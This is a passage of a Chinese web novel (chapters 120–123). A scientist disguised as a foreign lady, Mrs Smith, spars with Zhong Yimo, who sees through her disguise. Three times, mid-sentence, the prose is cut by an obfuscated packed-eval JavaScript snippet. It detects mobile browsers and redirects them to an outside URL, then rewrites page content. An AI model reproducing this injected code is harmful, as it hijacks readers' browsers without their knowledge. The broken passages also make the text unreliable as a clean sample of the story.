因为与其他天马行空,搬出离奇论据来吸引读者眼球的文章不同,它通篇没有一句关于乌麦的推测,而是根据现有事实赞扬乌麦,并重点分析乌麦的成果会给国家自卫战带来怎样的影响和优势。最后,作者针砭时弊地指出,大众应将注意力放在侵略者身上,而非自己人长久的内斗上,痛斥那些试图挖掘乌麦来历,欲对乌麦成伤害的有心之人。 元之荞本来没有太多感受,直到她看见文章署名。 水芝。 水芝是荷花的别称,也是元知荷与她说过的笔名。 [一切对国家、民族、和平做出贡献的人,无论是尚且学理明识的稚子、是围在锅边忙活的妇孺、是对抗外敌的战士,还是那传闻中的千岁道人,无论是她还是他,他们的安全,理应都受到我们的保护……若英雄身上的光无法照耀现在,先驱散发的精神无法成为人们向导,那么人心将会永远在黑暗里徘徊,你我的脊梁将永远在外敌的阴影下佝偻。] 是姐姐。 是姐姐的文字。 元之荞指腹轻轻擦过“水芝”二字,眼眶蓦地一红。自从元知荷前往根据地,五年里间只回过一次家,为的是她与李然的婚事,不过十分不凑巧,那时的元之荞还在实验室。 实验中的元之荞偶尔会回家,可具体什么时候无人得知,元家人也无法联系元之荞。元知荷想见元之荞,于是想办法多等了几天,但那四天中,元之荞一直未回家,战事又起,元知荷只好留下结婚相片,然后和李然再度赶往了前线。 直到今年元之荞从实验室出来,这才知道家里人的情况。 元知荷与元知茂一样,将时间都献给了人民解放,他们同万千人一样,在各自的领域做着英雄,做着先驱。 她有些想他们了。 “斯密斯夫人?”见元之荞鼻尖一红,钟以墨出声询问,“是哪里不舒服吗?” “哦,没事,”元之荞快速敛下情绪,再抬头时已然恢复了平静,她将报纸折起,解释道,“虽然我看不太明白上面写的是什么,但我觉得这位作者写得太好了,让人觉得很触动。” “所以斯密斯夫人赞同我的想法?”钟以墨仍不忘试探元之荞。 “谁?乌麦?”元之荞注意到钟以墨使用了一个“她”字,她故作思考,重新扮回了那个贵夫人,她点点头,“大概吧,我有些赞同利亚姆先生了,不过在此之前,我一直认为乌麦是个像我丈夫那般聪明又有才干的男人。” 钟以墨皱了皱眉,男人? “为何?” “这不是很正常的一件事吗?”元之荞微微噘嘴,露出疑惑的表情,她的手肘撑在餐桌,戴着蕾丝手套的手轻轻托着下巴,这是一个经典的斯密斯夫人姿态,熟悉史密斯夫人的人都知道,她这是要开始回忆往昔和夸赞丈夫了,果然,元之荞下一句,“我的丈夫是这个世界上最英俊伟岸的人,能够成为他的夫人,给他做饭和料理生意,简直是我这辈子最大的幸运。” 钟以墨有些听不下去,甚至还有一些失望与生气,看来面前这人不是他想找的人。他所知道的元之荞,绝不会围着一个男人而失去自我。 虽有些气愤,但钟以墨仍抱着一丝希望,他要见一面她墨镜下的样貌,尤其是那双遮住的双眼:“斯密斯夫人,恕我冒昧,你为何一直戴着墨镜?”钟以墨看向窗外,示意这里是室内。 元之荞扶正墨镜,并不打算拿下:“眼睛有些不舒服,看了医生,说我需要这段时间避光。” 钟以墨笑了,他看着元之荞,伸手示意应侍生把周围窗帘全都拉起来,“不知这样有没有让夫人感觉轻松一些?” 元之荞神色不变,看向纷纷转头望过来的人,“可这样,怕是给周围顾客带来不便了。” 钟以墨也向四周扫了一眼,并不在意:“斯密斯夫人说帮助丈夫料理生意,不知做的是什么生意?克伦威尔生意遍布全世界,若我有兴趣,说不定能帮上一把,”他唇畔漾起,靠在餐桌上,修长的手指撑住额角,目光直视元之荞,“如果我能见到斯密斯夫人美丽的容颜,想必我会对斯密斯的生意更感兴趣。” 元之荞心底快速涌入动摇,她从海外给新军暗中运输飞行内燃机,预备给己方制造更多的轰炸机,但临时却出了一些意外,装载着内燃机的货物被卡关了。若这时克伦威尔出手,真能解决她的燃眉之急。 且日后若能借着克伦威尔的名头,她也能试着运输武器,解决前线战士们武器设备落后的问题。 “克伦威尔先生没和我开玩笑?”元之荞抿唇,瞄了一眼手边的报纸,以及报纸旁边的银匙。 “自然。”钟以墨一瞬不瞬地看着元之荞的脸。 “那你可要说话算话,”元之荞状如无意地拿起银匙重新搅拌一下,然后放到了靠近报纸的边上,先介绍了一下自己的公司,“我丈夫开了一家康华对外贸易公司……” 等说得差不多,也得到了钟以墨的点头,元之荞作势抬手,似乎要去摘面上的眼镜,然而手肘碰到报纸,报纸又挑起银匙,银匙顺势从桌面上掉下,落到了元之荞衣裙。 “天呐我的上帝,”元之荞急忙将银匙捡回瓷盘,面露难色,“克伦威尔先生能等我一会吗?我需要去清理一下衣裙上的咖啡渍。”她说完就走,完全不给钟以墨拒绝的机会。 钟以墨下意识反应元之荞这是要跑,于是在元之荞离开后,他立刻叫了一个女应侍生:“有位黑裙的夫人身体不适,若你听见里面有异常,请进去关照一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12992609|126512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下。”钟以墨给了女应侍一笔不菲的小费,女应侍接过,连忙点头,表示自己一定会盯着洗手间。 钟以墨看向元之荞身影消失的地方,只见女应侍站到了洗手间门口,好一会儿,元之荞才再次出现,而元之荞一出现,那位女应侍就走了上去。钟以墨猜到女应侍会说什么,不出所料,女应侍说完,元之荞就往他的方向看了一眼,并奉上了一个客套的微笑。 钟以墨稍稍颔首作以回应,见元之荞也给了女应侍一点小费,然后款款走回了座位。 钟以墨注意到她补了口红,如刚见面时那般艳丽。 这次,元之荞毫不迟疑地摘下了墨镜,而钟以墨看到她的眼睛后,顿时失望极了。 元之荞的双眼有些红肿,还有不少红血丝,像是为了遮掩这种疲惫,她画了一个非常浓重的眼妆,这样一来,无论是眼型还是眼睛,都看不出原本的面目,但真正令钟以墨失望的,是元之荞那双湖蓝色的眼睛。 外貌可以改变,但瞳颜却难以伪装。 不是她。 巨大的失落裹挟了钟以墨,但很快,他又变得有些庆幸起来。那些庆幸像穿过枯木的风,丝丝缕缕,看不见摸不着,却又吹着撩人哨声,让人的心也随着耳边声响躁动起来。 钟以墨也不知道自己在高兴什么,也许是那枚戒指,或许是那“唯丈夫论”,但只要想起眼前的斯密斯夫人不是元之荞,他就觉得哨响似乎更清晰了一些。 元之荞重新带上了墨镜,再久一点,她就要穿帮了。 有了墨镜的掩饰,元之荞迫不及待地开始眨眼,用于缓解异物感带来的不适,而这一眨眼,一下就让蓝色曈片滑了出去,元之荞眼疾手快,再次拿起报纸遮掩,只见一只蓝色的曈片落在了报纸上,而另一只不知去向。 元之荞的眼睛开始生理性地流泪,这时,她反而庆幸身边拉起的窗帘了,元之荞语气自然,笑着接起话题:“先生怎么这副表情?难道我不漂亮吗?” “不,”钟以墨笑笑,“夫人很漂亮。” 元之荞:“那康华公司的事……” 钟以墨:“我答应了。” 元之荞露出真心实意的微笑,她起身,递给钟以墨一张名片,“那我就在这里等先生了。”元之荞说完离开,走向前台,她用小费和硬币的数量作为暗号,取走了华常委留在这里的东西,然后大步走出了咖啡馆,而钟以墨看了一会手上的名片,上面正是康华对外贸易有限公司,他将其插进口袋,然后拿起信封里的船票,同样离开了咖啡馆。 到了公司,元之荞立即换下装扮,这时她才发现,剩下一只曈片竟然黏到了墨镜上:“看来曈片还是得继续研究,这一副也太不舒服了。” 说罢,她吩咐正在上班的白榆,命其暗中留意利亚姆·克伦威尔:“这人不简单,在外多传乌麦是男性的情况下,他却直接认定乌麦是位女性,并且还派人监视我进出卫生间,明显是怕我逃怕,我怀疑他已经盯上了我,务必查清这人的底细。” “是,组长。” 另一边的钟以墨,他将名片交给这边的属下,也是当初父亲给他的人:“这家公司我说了会帮忙,过两天你去接触一下,看看他们的实际情况,”说罢,钟以墨换下外套,又提起了别的事情,“钟公馆那边你也去看一下,不必出手,只需确认是谁买了洋楼就行。” 121. 第 121 章 元之荞用修女头巾裹住了所有的金发,扮作修女模样去了集市,然后顺手买了一份报纸回家。 下午四点,元善快要下班了,元氏医馆在几年前开了起来,但因为元善不能劳累,所以他只上大半天班。到家后,元之荞先叫了一声母亲,见元知宁替梁桦回应,便径直走向后院,把肉类吊进井中冰镇,然后将买来的蔬菜放进厨房,最后洗了桃子,走向客厅。 梁桦在沙发上勾假发,而元知宁在旁边的房间看书做功课。 假发是元之荞拜托梁桦的,她不可能一直顶着金色头发,偶尔还得换回原本的身份,梁桦也想熟练后,再给女儿勾顶洋人的假发,这样她就不用频繁染发,生怕长出的黑色发根暴露身份。 “妈妈先休息吧,吃颗桃。”元之荞坐到梁桦身边,元知宁听见声音,当即从房里跑了出来。 “甜,姐姐买的水蜜桃真甜,”夸完,元知宁才注意到一旁的假发失败品,他随意挑了顶顺眼的,就势戴到头上,“我美吗?” 元之荞瞥着那略显稀疏的假发,噗嗤一笑:“美。” 元知宁双眼向上瞪,试图把假发调整到最佳位置,他完全看不见自己的模样,却也跟着点头:“我也觉得我美。” “美个屁,我看你比那掉发老妪还丑,”元善回来,一眼就见元知宁怪模怪样,顿时觉得这个小儿子长得眼睛不是眼睛,鼻子不是鼻子,甚是不满道:“男子早就剃发,你又是干什么?快取下来,有伤风化。” 元知宁不服,登时按住假发:“哼,爸爸你懂什么,聪明的脑袋才不长毛!” 元善听得眉头皱起,指着一旁的元之荞:“你姐姐那般聪慧,她就没谢顶。” 元之荞抿抿嘴,摸了摸自己的头发。 似乎越想越气,元善当即走向元知宁:“我看你小子就是欠,你给我过来,我亲自帮你摘了。” 元知宁叛逆心又起,他当即撅嘴就跑,还学着小人书里的功夫形象,边跑边比划,口中振振有词:“虎落平阳被犬欺,哼,我元少侠凌波微步……” 梁桦见状停下手中动作,忧心忡忡,明明前几个孩子那样省心,怎么就突然出了知宁这个一个皮猴子,她起身想去劝,却被元之荞笑着拦下,元之荞打趣道:“妈妈你勾的那顶太稀了,看起来知宁像练了邪功,这才变得那般磕碜。” 梁桦听了也笑:“那是练手的,还找不准怎么排列,”梁桦把假发递给元之荞,面庞温和,“这顶我做熟练时才勾的,之荞试试,看还有什么地方需要改。” 元之荞果断把金发拢起,戴上假发,照向梁桦拿来的镜子,她有些惊喜:“我和以前一模一样,”元之荞拨弄鬓角,发现细节处的碎发也做得相当真实,不禁大夸特夸,“还是妈妈了解我,连头发长度也和染前一模一样。妈妈的手这样巧,完全没有地方需要改,甚至还可以靠它做生意呢。” 梁桦听了也高兴,神色隐有自豪:“我是你妈妈,妈妈当然了解女儿,你爸爸可做不到我这样细致。” “是,”元之荞尾音拖长,带着一些撒娇的意味,轻轻靠到了梁桦手臂,“对了妈妈,我今天发现了姐姐的文章,”她拿出报纸,指着角落的版面:“妈妈你看,水芝写的,就是这篇。” 梁桦眯上眼,把报纸稍稍拿远:“是嘛?我来看看……知荷做战地记者,不知道知茂现在怎么样了,最近也没给家里来封信。” “哥哥的第十团打了胜仗呢,”元之荞宽慰梁桦,“十团无一死亡,哥哥没事的。” 第十团。 元知茂升任排长,天-8协作胜利的事,团里至今还在讨论,而猜测乌麦是谁的话题也经久不衰。 “我看啊,乌麦说不定就是那次来我们团里的白鸽,当时,那个小妹妹不是用一架玩具飞机,直接把鬼子的飞机搞得团团转?我看,她准是乌麦。”一个士兵信誓旦旦地说。 “我也觉得像,而且她还是四组的白鸽,组内叛徒不是说组长就是乌麦嘛,年龄也对的上……”发报员小声补充。 元知茂听见对话,一把拍下筷子,脚上打着石膏登时就从座位上站了起来,“吃饭就吃饭,闲言碎语什么!”他不满地斥责,“从现在开始,我三排的兵,不许再谈论任何与乌麦有关的事。乌麦是新军,你们也是新军,新军应该保护新军,而不是像一个村头老太似地在这胡乱嚼舌根。” 元知茂扫了一眼,三排的士兵都不敢说话,而其他排的士兵均面面相觑,端着饭碗路过的连长看到,微微颔了颔首:“我赞同元排长的话,我们二连的士兵,应该把心思放在作战上,而不是消息八卦上。乌麦同志做的是好事,刨根问底只会便宜了那些敌特探子,”连长下令,“整个二连,今晚加练半小时。” “是。”元知茂立上一个军礼。 元知茂之所以这样做,不仅因为他与元知荷的想法一致,更因为他猜到了乌麦就是元之荞。他要保护妹妹,在他力所能及的范围。 * “以墨不再住几天吗?”贾祖惠帮着收拾钟以墨的行李箱,满是不舍。 钟以墨笑了笑,给贾祖惠一个拥抱,语调中带着歉意:“怕是不行了奶奶,诺兰今早又催了,我必须得回去,不过您和爷爷要有任何问题,随时去找钟管家,那边我也已经吩咐过了。” “知道了,难为你还为我们想到这份上。”贾祖惠哀叹一声,孙长鉴走过来,轻啧一句:“你这老婆子,又不是见不到,别给孩子添麻烦,”他把贾祖惠从钟墨怀中挖了出来,“咱们去码头送送以墨,孩子忙完了,还是会回来的。” 贾祖惠抹下眼角,像是要连离别的悲伤也一并拭去,“欸,知道了,你这老头就是啰嗦。” 前往英国的世越号提前停在码头,钟以墨告别二老,将船票交给验票员,等验票员确认无误后,他踏上跳板,登上了船。 甲板上,钟以墨看见二老仍然站在码头边上望着他,钟以墨不觉心中酸涩,挥了挥手,示意他们回家,二老也像小孩似地高高把手举起,带着笑容,同样挥了挥,然后彼此搀扶,慢慢地转过身去。 钟以墨就这样站在甲板上,看着二老的身影逐渐远去,然后逐渐消失。 “请问,您是克伦威尔先生吗?”陌生的声音插入耳畔,搅乱了钟以墨的思绪,钟以墨转头,看向说话的人。 对方是一个矮胖的男人,穿着黑色的剪裁西装,圆盘脸,脸上夹着一副鼻托眼镜,嘴边一圈卷曲的金棕色胡子,应是仔细修剪过,左右两边相当对称。钟以墨确定,他没见过此人。 “我是克伦威尔,请问您是?” 男人听到,霎时笑了起来,他摘下黑色帽子,露出略微秃顶的脑门,对着钟以墨行了一个绅士礼:“我是David·Smith,我与先生在一年前的圣米亚城庆酒宴见过,先生忘啦?” 钟以墨没有一点印象,于是大卫开始补充细节,“我是大公斯密斯家族的远亲旁支 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13008791|126512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不过我三堂叔的女儿的丈夫的妹妹Ella·Smith,是你表妹Lily·Cromwell的好朋友,她经常去克伦威尔庄园,先生肯定记得吧?” 钟以墨笑笑,“抱歉,我……” “那Mary·Smith您一定记得吧?”大卫迫不及待地打断钟以墨的话,试图寻找更多拉进与克伦威尔家族的关系的证据,“听说玛丽还是您的订婚对象之一,不知您是否选定了最终人选?” 说到这个,钟以墨忽而有些不耐,他刚想结束两人的对话,就听到了一个熟悉的名字:“说到玛丽也巧,她那不受宠的义妹Cecilia·Smith,竟真嫁进了斯密斯家族,虽然嫁的不过是个名不经传的小角色,但好歹也做上了点生意……” “你说什么?”钟以墨开口追问,“塞西莉亚·斯密斯?是不是在做对外贸易生意,还开了一个康华公司?” 大卫不知道钟以墨怎么突然反应如此大,只愣愣地点头,不顾钟以墨有印象就好,有印象他就可以攀关系了:“是的先生,好像是什么康……不过我也不清楚,只是看塞西莉亚一个女人什么也不懂,却还要在外东奔西跑,模样实在可怜,我就让她把公司挂到了我公司名下,免去了那些个人公司琐碎的登记与业务,但公司名字具体叫什么,我只看了一眼,没太记住。” 听到想要的答案,钟以墨忽而颔首轻笑,而大卫见到不由变得更加疑惑了:“克伦威尔先生?” 钟以墨想去拿口袋里的名片,伸手却摸了个空,原来他早忘了自己将名片交给属下,他看向大卫,眸子里熠熠生光:“无事,我只是觉得斯密斯这个名字很熟悉,”他抬手,拍了拍大卫的肩膀,“谢谢你,斯密斯先生,谢谢你告诉我这些。” “不客气。”大卫笑着回应,当他以为钟以墨想起两家的关系,话题马上就要谈到他想聊的那部分时,就见钟以墨大步走向楼梯,然后快步往登船口的方向前去。大卫有些着急,趴到甲板船舷边上,探身往下俯瞰,大声喊道:“克伦威尔先生?您要去哪?船马上要开了,这时候下船很危险。” 钟以墨没有回应,只是背身挥手,示意自己知道了。 他快步走下楼梯,穿过纷杂交错的人群,随着大厅琴手的奏乐,他的脚步越来越快,心也跟着音符跳动了起来。此刻的他像是沙滩边上的鱼儿,清凉的潮水碰上他的背鳍,只要他稍稍努力,只要他再快一点,他就能马上获得那片自由的水源。 第一次与元之荞见面时,钟以墨并没有怀疑,因为斯密斯这个姓氏实在是太普通了,全英上下不知有多少斯密斯。但这个斯密斯,若是大公斯密斯,那就完全不一样了。 克伦威尔的确希望钟以墨与大公斯密斯联姻,且大公斯密斯的养女的女儿,他也的确见过。钟以墨记不住小养女的名字,不确定她是不是叫塞西莉亚,但她的长相钟以墨不会忘,因为小养女虽然透明、不受重视,但她却与其他贵女一样,都觊觎着嫁给自己。 对自己有所图的女人,钟以墨总是格外谨慎,故记下了她的外在特点。 小养女可能结婚了,但她长相却和那个斯密斯夫人完全不同,性格也和那个斯密斯夫人截然相反,也就是说,斯密斯夫人是假扮的。 而能制作出改变瞳膜颜色材料的,除了那个能制作出电子干扰的元之荞,钟以墨再也想不到第二个人。 钟以墨嘴角漾起笑容,步伐变得更快。终于,他要找到她了。 122. 第 122 章 船鸣声响起,钟以墨心脏倏地一紧,他抓紧时间,快速向登船口奔去。 近了,还剩五米。 钟以墨去拿兜中的船票。 两米。 钟以墨一把拦住守门的船员,有些气喘:“您好,我要下船。” “先生?”听到这话,船员有些不知所措,他还是首次遇到刚开船就要下船的乘客,语气为难道:“先生,船已经启动了,您不能这时候下船。” 钟以墨望向船舱小窗,码头正在缓缓移动,他面色一紧:“我要下船,否则,我会强行下船,”他一边说,一边从钱夹中取出几张英钞,“告诉你们船长,把船开回去。” 船员看了看钱,又看了看钟以墨,眼神游曳不定,最终还是选择了拒绝:“可……先生,这是不合规定的,且您要是跳船的话,航行的涡轮会把您卷进船底,到时候……” 钟以墨眉头皱紧,他并没有没打算跳船,但船员既然起了头,他便顺势说了下去:“我姓克伦威尔,若克伦威尔子爵在世越号上出现生命意外,不仅英邮时报会沸腾,你们世越号也会受到克伦威尔的问责,”钟以墨把钱拍在船员胸口,一字一句,“所以,去告诉你们船长,立刻靠岸,我要下船。” 船员掌心蜷起,眼中略有惶恐,事情一下从他单人失业,变为了整艘船集体失业,大贵族他可惹不起,还是交给领导负责比较好,船员果断按下小费,说完就跑:“先生稍等,我马上去通知船长。” 克伦威尔的名头很有用,没过多久,船就停下航行,重新返回了码头。 钟以墨看着世越号再次鸣笛,庞然巨物缓缓驶离港口,甲板上的船员松了一口气,工作保住了。 钟以墨没有耽搁,他叫了一辆黄包车,前往康华公司。 此刻的元之荞,正在康华公司里的工作室。 她换回了原本装束,黑色假发戴在头上,被梁桦细心地编成两股麻花辫。因着外贸公司的掩护,元之荞可以购进一些与信息监测相关的零件和材料,但数量不多,就算能研究出成品,估计也只有几个。 元之荞拿起电路板,正在试着焊接合成,她听见屋外咚咚的敲门声:“小荞,有位客人要找斯密斯夫人,我说夫人不在,他就问夫人什么时候回来,还说与夫人约好了大单子……” 元之荞停下手中动作,抬眼看向屋门:“他说了自己是谁吗?” “他自称利亚姆·克伦威尔,是个黑褐色卷发的混血俊哥。” 元之荞蹙眉,放下手中的电焊笔,利亚姆?这家伙不是前天才派了属下视察,连交易也定了,今天怎么又来了?元之荞将双手在工作围裙上擦了擦,然后解下围裙,打开门,看向说话的白榆:“胡菲,你看着这里,外面我去处理。” “是,组长。” 元之荞走出房门,从后面绕了出来,正好看见站在前台的钟以墨。 钟以墨背影笔挺,一身剪裁合身的黑色西装,手上提着大箱子,像要准备出远门,元之荞试探性地叫了一声:“克伦威尔先生?” 钟以墨微微转身,看到了元之荞。 黑色的瀑发,明艳的五官,纤细的柳叶眉与带笑的仰月唇,与小时候的元之荞完全不同,可以说现在的元之荞,比小时候的元之荞,要漂亮动人得多,但钟以墨判断的不是外貌,而是她的眼神。 点漆似的琉璃双目,与小时候一样,总是泛着璀璨流光,像是纯挚与坚韧同时住进了她的眼眸,无论其中倒影是风是雨,旁人都能从她这里感受到安宁与力量。 这一眼,钟以墨就断定,她是元之荞。 她的眼神一如既往,那些坚毅与美好,从未因为长大而磨灭变形。 真好,他在心里想。 钟以墨静静地注视着元之荞,看着她走向自己,似乎门外的光也追随着她的身影,一并走了进来,钟以墨停在身侧的手指动了动,碰到西裤的中缝时才蓦然一惊,他伸出手:“你好。” 元之荞看着面前的手,骨节明显,手指修长,指甲剪的很干净,腕上戴着一块银色的手表。 元之荞犹豫的时候,钟以墨也在观察元之荞的手,等看见元之荞伸出来的双手,无名指上均没有戒指时,钟以墨终于露出了这里的第一个笑容。 元之荞握了上去,她发现对方并没用力,只是稍稍地碰了一下,便迅疾离开。 钟以墨语调温和:“请问小姐姓名?” 元之荞一愣,也切回了国语,“你会说本国话?” “是,”钟以墨实话实说,“我父亲是本国人,我小时候也在这里生活过一段时间。” 这段对话元之荞显然已经听过了,她直言不讳,回答道:“元之荞,听说克伦威尔先生要找斯密斯夫人?真是抱歉,夫人有事外出了,有什么事先生可以告诉我,我是她的助理。” 钟以墨笑了,笑得格外好看。在这个角度看她演戏,似乎分外新奇有趣,就像回到以前,自己读她写的那些新奇有趣的信件一般,唯一不同的是,这次,他终于也参与了进来。 钟以墨眼底跃动起星子,像被月亮照亮的光,脸上有他自己都未曾发觉的笑容,“我……”他脱口而出想说自己姓名,然而话到嘴边,却又硬生生地噎住了。 我们名字如此相近,她会不会因此多想?如果多想,她会不会介意我取的这个名字? “克伦威尔先生?”见钟以墨停了话头,元之荞轻声询问,“需不需要去会客厅坐会,我给先生倒杯茶?” “不了,”钟以墨摇头,他决定暂时不说自己的姓名,“我来是想告诉斯密斯夫人,斯密斯的生意我愿意帮忙,货运海关那边,今晚我就知会一声。” 效率这样快,元之荞心里当然高兴,她看向地上的行李箱,自然而然地认为:“那就辛苦克伦威尔先生走一趟了。” 钟以墨顺着她的视线,也看到了自己的皮箱,他笑着解释:“元小姐误会了,我还不打算走,海关那边,我将打电话给熟识的叔叔,他是上校,专职负责进出口。” 元之荞尴尬一笑,也有些疑惑,为什么这家伙一听到斯密斯夫人,就突然变得心情很好的样子,还变得如此好说话……她心中暗忖,当下做了决定,斯密斯夫人最近还是不要出现比较好。 “对了元小姐,你知道这附近有哪家比较好的医馆吗?”钟以墨问的是元氏医馆,如果元叔叔还开医馆,他或许就可知晓元之荞住处。 元之荞指向门外,客套地回答:“往这条路走两百米有个岔路口,选左边的岔路然后一直走,就能看见一座艾琳圣心医院,那里设施齐全,更有全科医生,只是费用会偏向昂贵,不过以克伦威尔先生的财力……” “我问的是中医馆。”钟以墨打断了元之荞的话,他见元之荞面露困惑,也知道自己的提问有些怪异,毕竟这时候的外国人极少相信中医,更别说会去看中医了,于是他强行加了一个理由,“就是……嗯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13025053|126512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,有些病,我听说……中医的效果比西医好,所以我想……” 元之荞不着痕迹地打量钟以墨一眼,原来是不方便说的隐疾。 钟以墨见元之荞依旧不说话,只好硬着头皮又编了一些,并试图增加更多细节来提醒元之荞:“都说老中医很擅长,尤其是祖上三代都开医馆的,所以我没上船离开,直接提着行李就来了……” 钟以墨忽而咬住自己下唇,紧张地闭嘴,内心全是懊悔。 我说了啥啊!这也太唐突了,不会造成误会吧? 元之荞快速瞄过钟以墨一眼,她看出了钟以墨的不安,于是她尽力着保持着神色自然,试图不给对方造成心理压力。原来是很急的隐疾啊,不然不会如此迫切地找祖上三代专治此病的老中医,啧,估计蛮严重。 想到这,元之荞忍不住又多看了一眼。身材精壮,精神不错,没想到竟有隐疾,平时怕是没少焦虑。她点点头,表示了解:“先生,仁爱医馆很不错,我推荐你去那里。” 得到答案,钟以墨有些高兴,他拿上行李准备离开。 “再见,之荞,”钟以墨笑着凝望元之荞,“祝你以后一切顺利。” 他补上了当年在游轮上缺失的那句再见。 出乎意料的称呼让元之荞有些莫名,她眉心蹙了蹙,似不习惯别人突如其来的亲近,但也还是笑了笑:“谢谢你,克伦威尔先生,也祝你一切顺利,再见。” 钟以墨转身,在心里默念了一遍再见。 多好的词,是的,他们将再次见面。 元之荞看着钟以墨离去的背影,微微偏头,一个男科医馆能让人这么高兴吗? 钟以墨走后不久,调查利亚姆的白榆回来了,他带着好些资料,还有一些从钟公馆弄到的东西:“组长,我查到了,那个叫利亚姆·克伦威尔的人,其实是钟公馆原本的少爷,钟墨。” 刚刚拿到资料的元之荞倏地一滞,果断抬头看向对方:“你说什么?钟墨?” 白榆点了点头,继续往下说:“不过他现在不叫钟墨,叫钟以墨。” “以墨?”元之荞突然将资料拍至桌面,音量变大,“不是尹沫?” 白榆不知组长为何这种反应,只好又点了点头。 “说,”元之荞迅速恢复平静,她言简意赅,“一条一条,仔细说清楚,你还查到了什么?” “钟公馆出事时,钟以墨也出了意外,是钟家的孙医生救了他……双亲去世后,他就从钟墨变成了钟以墨,秘密被孙医生带去英国,投靠母族克伦威尔,现在是一名实习医生。” “洋人都传,他悲伤过度失去了事故前的所有记忆,把自己当成了英人,如此,他才毫不避讳地给那些害了自己双亲的军阀提供帮助……” 元之荞听得心脏砰砰,钟墨改了名字,但他的经历却依旧与《绯恋》的情节差不多,原剧情里,钟墨在小叔钟平安的影响下,与杀亲之仇的军阀关系不错,后来成为了医术精湛的专科医生,负责专门治疗军阀的高官领导。 如今他改换道路,却也躲不过这样的情节吗? 元之荞整理好资料:“我知道了,谢谢你的消息,任务完成得不错,看好公司,我出去一趟。”不等白榆回复,元之荞快步门口,望向钟以墨离开的方向,然而行人匆匆,她再也找不见那个穿笔挺西装的男人。 元之荞叫停一辆过路的黄包车,拿出一张整钞:“师傅,麻烦去仁爱医馆。” 123. 第 123 章 等元之荞来了仁爱医院,却没在这里看到钟以墨。她不顾周边人的有些异样躲闪的目光,径直走进仁爱医馆,询问药剂师:“请问您有没有见过一个穿着西装的外籍男士?” 元之荞仔细描述着钟以墨的长相,药剂师听了有些印象,回答道:“见过,不过那位先生只在门口看了几眼,并未进馆寻医问药,然后就离开了。” 元之荞眉尾轻扬,没看病?还是钟以墨不满意这家? 钟公馆的买家是一个姓郑的军阀,即将改名为郑公馆,钟以墨不住钟公馆,那他提着行李箱会去哪呢?元之荞看向一头的惠民旅馆,心中渐渐有了主意。 就在元之荞满城寻找钟以墨可能下榻的饭店宾馆时,钟以墨也在满城寻找着元氏医馆。 两人奔波之时,只有孙长鉴和贾祖惠显得高兴,贾祖惠重新将行李箱里的东西放回原位:“真好,以墨又回来了,虽说孩子留在家,是发现了比英国更重要的事,但咋说,咱们又可以多见他一段时间了。” 孙长鉴面上也有些喜悦,他躺在逍遥椅上,椅子轻轻摇晃,显得十分惬意。 孙长鉴用蒲扇给自己扇风纳凉,以墨留下来好啊,诺兰那边催得急,像是发现了以墨偷运设备的事,所以才急着骗以墨回去,好兴师问罪。留下来好,留下来才安全。 想到这,孙长鉴在心里哀叹一声,克伦威尔家族在英国时,以墨靠着把自己变成洋人,这才融入那个圈子,将公爵变成靠山。就算以墨的事情暴露,仗着大公克伦威尔,诺兰也不敢对以墨做什么。但如今,克伦威尔去了丑国,英国剩下的只有家族荣耀,这些虚幻的东西,又能庇护以墨多久呢?诺兰怕是蠢蠢欲动了吧? 时间一点一滴过去,初夏的太阳被熬得金黄,迸出耀眼的光。金辉爬上淡云,装进翠绿的梧桐叶片,却不小心被风吹到一旁,贴到了高大的墙壁。元之荞伸手,小心把光捞到掌心。夕光散发着暖热,也包裹着即将落幕的温柔。 “之荞。” 元之荞回神,手一松,光斑就从指间擦过,再次跑回了白灰的墙面,斑驳着,摇曳着,是满墙的金箔。 “爸爸?”叫她的人正是元善,元之荞顿时右手叉腰,语气有点不满,“你是不是又加班了?爸爸你再这样,我就让知宁……”话说到一半,她突然噎了口,因为她看见元善身后还跟着一个男人。 正是她要找的男人。 钟以墨站在光里,手上拿着一摞药包,夕阳细细描摹着他的眉眼,给他打上了一层柔和的滤镜。他黑褐的头发被晒得褪色,镶上金边,成了浓郁的金珀。 她看到他望了过来,她看到他注视自己,她看到他扬起笑容,她看到他大步走来。 她不自觉把手从腰上放了下来,重新摆回身侧。 “好巧啊,”钟以墨站到元之荞面前,他微微低头,笑着开口,“元小姐,我们又见面了。” 当换一个视角再看时,元之荞发现十年过去,钟以墨的外貌性格早已改变,不复当初熟悉,但他仍会先一步,走向自己。 和那个小时候咚咚咚踩着皮鞋,跑着上她家的钟以墨一样。 无论是陵城的元氏医馆,是向天江上的游轮,是租界的咖啡店,还是现在,那个头发卷曲像朵蓬松蒲公英的小男孩,从未离开过他的身影。 